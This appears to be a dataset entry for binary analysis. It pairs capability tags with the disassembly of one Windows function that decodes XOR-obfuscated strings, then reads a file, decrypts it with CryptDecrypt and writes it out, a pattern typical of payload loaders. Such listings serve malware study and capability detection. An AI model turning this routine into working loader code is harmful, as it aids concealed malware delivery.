Function at 0x100e47b0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Encrypt or decrypt via wincrypt
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10181bee
mov eax, dword fs:[0]
push eax
sub esp, 0x60
mov eax, dword [0x101dadb0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor ebx, ebx
mov dword [ebp - 0x60], ebx
mov eax, dword [0x102add80]
cmp eax, 0x102add94
je 0x100e480a
cmp dword [eax + 0x18], 0x10
lea ecx, [eax + 4]
jb 0x100e47f7
mov ecx, dword [ecx]
push dword [eax + 0x14]
push ecx
mov ecx, 0x102add94
call fcn.10048350
mov eax, dword [0x102add80]
cmp dword [eax + 0x14], ebx
je 0x100e4899
mov cl, 0x21
mov dword [ebp - 0x1c], 0x58430f21
mov dword [ebp - 0x18], 0x52424053
xor eax, eax
mov byte [ebp - 0x14], bl
xor byte [ebp + eax - 0x1b], cl
inc eax
cmp eax, 7
jae 0x100e4837
mov cl, byte [ebp - 0x1c]
jmp 0x100e4828
lea eax, [ebp - 0x1b]
mov byte [ebp - 0x14], bl
push eax
lea ecx, [ebp - 0x38]
call fcn.10047780
mov dword [ebp - 4], 0
or ebx, 1
mov esi, dword [0x102add80]
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0x60], ebx
mov ecx, dword [esi + 0x14]
cmp ecx, edx
jb 0x100e4899
mov eax, ecx
sub eax, edx
cmp ecx, eax
jb 0x100e4b59
cmp dword [ebp - 0x20], 0x10
lea edi, [ebp - 0x34]
lea ecx, [esi + 4]
cmovae edi, dword [ebp - 0x34]
cmp dword [esi + 0x18], 0x10
jb 0x100e4885
mov ecx, dword [ecx]
push edx
push edi
add ecx, eax
call fcn.1008f030
add esp, 8
mov byte [ebp - 0x55], 1
test eax, eax
je 0x100e489d
mov byte [ebp - 0x55], 0
mov dword [ebp - 4], 0xffffffff
test bl, 1
je 0x100e48ed
lea ecx, [ebp - 0x38]
call fcn.100448c0
mov eax, dword [ebp - 0x20]
cmp eax, 0x10
jb 0x100e48c6
inc eax
push eax
push dword [ebp - 0x34]
call fcn.10049010
add esp, 8
mov eax, dword [ebp - 0x38]
push 8
push eax
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0xf
mov byte [ebp - 0x34], 0
mov dword [ebp - 0x38], 0
call fcn.10049010
add esp, 8
cmp byte [ebp - 0x55], 0
je 0x100e4b3d
movaps xmm0, xmmword [0x101c2fa0]
xor ecx, ecx
push dword [0x1027c09c]
movups xmmword [ebp - 0x38], xmm0
mov dword [ebp - 0x28], 0x304a6676
mov dword [ebp - 0x24], 0x6d713b71
mov word [ebp - 0x20], 0x61
nop
mov al, byte [ebp - 0x38]
xor byte [ebp + ecx - 0x37], al
inc ecx
cmp ecx, 0x18
jb 0x100e4920
sub esp, 0x1c
mov byte [ebp - 0x1f], 0
lea eax, [ebp - 0x37]
mov ecx, esp
push eax
call fcn.10047780
lea eax, [ebp - 0x54]
push eax
call fcn.1004a910
mov esi, eax
add esp, 0x24
cmp esi, 0x102add94
je 0x100e499f
mov ecx, 0x102add94
call fcn.100448c0
mov eax, dword [0x102addac]
cmp eax, 0x10
jb 0x100e4979
inc eax
push eax
push dword [0x102add98]
call fcn.10049010
add esp, 8
push esi
mov ecx, 0x102add94
mov dword [0x102adda8], 0
mov dword [0x102addac], 0xf
mov byte [0x102add98], 0
call fcn.10048560
lea ecx, [ebp - 0x54]
call fcn.100448c0
mov eax, dword [ebp - 0x3c]
cmp eax, 0x10
jb 0x100e49bc
inc eax
push eax
push dword [ebp - 0x50]
call fcn.10049010
add esp, 8
mov eax, dword [ebp - 0x54]
push 8
push eax
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0xf
mov byte [ebp - 0x50], 0
mov dword [ebp - 0x54], 0
call fcn.10049010
mov eax, dword [0x102add80]
add esp, 8
cmp dword [eax + 0x18], 0x10
lea ecx, [eax + 4]
jb 0x100e49f3
mov ecx, dword [ecx]
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push 0x80
push 3
push 0
push 1
push 1
push ecx
call esi
cmp dword [0x102addac], 0x10
mov ecx, 0x102add98
push 0
cmovae ecx, dword [0x102add98]
mov edi, eax
push 0x80
push 4
push 0
push 1
push 2
push ecx
mov dword [ebp - 0x64], edi
call esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, eax
mov dword [ebp - 0x60], ebx
cmp edi, 0xffffffff
je 0x100e4b33
cmp ebx, 0xffffffff
je 0x100e4b2f
lea eax, [ebp - 0x6c]
xor bl, bl
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov esi, dword [ebp - 0x6c]
and esi, 0x80000001
jns 0x100e4a6f
dec esi
or esi, 0xfffffffe
inc esi
neg esi
sbb esi, esi
add esi, 0x20
push esi
call fcn.1013c390
mov edi, eax
add esp, 4
test edi, edi
je 0x100e4b23
push 0
lea eax, [ebp - 0x5c]
push eax
push 4
push edi
push dword [ebp - 0x64]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x100e4ab2
push 0
lea eax, [ebp - 0x5c]
push eax
push dword [ebp - 0x5c]
push edi
push dword [ebp - 0x60]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
push 0
push edi
call fcn.101234b0
add esp, 0xc
mov dword [ebp - 0x5c], 0
push 0
lea eax, [ebp - 0x5c]
push eax
push esi
push edi
push dword [ebp - 0x64]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x100e4b16
cmp dword [ebp - 0x5c], esi
mov eax, 1
movzx ebx, bl
cmovb ebx, eax
lea eax, [ebp - 0x5c]
push eax
push edi
push 0
push 1
push 0
push dword [0x1027c0b8]
call dword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x100e4b16
push 0
lea eax, [ebp - 0x5c]
push eax
push dword [ebp - 0x5c]
push edi
push dword [ebp - 0x60]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test bl, bl
je 0x100e4ac5
push edi
call fcn.1013a990
add esp, 4
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [ebp - 0x60]
mov edi, dword [ebp - 0x64]
test edi, edi
je 0x100e4b36
push edi
call esi
test ebx, ebx
je 0x100e4b3d
push ebx
call esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.101204c0
mov esp, ebp
pop ebp
ret
call fcn.100488f0
int3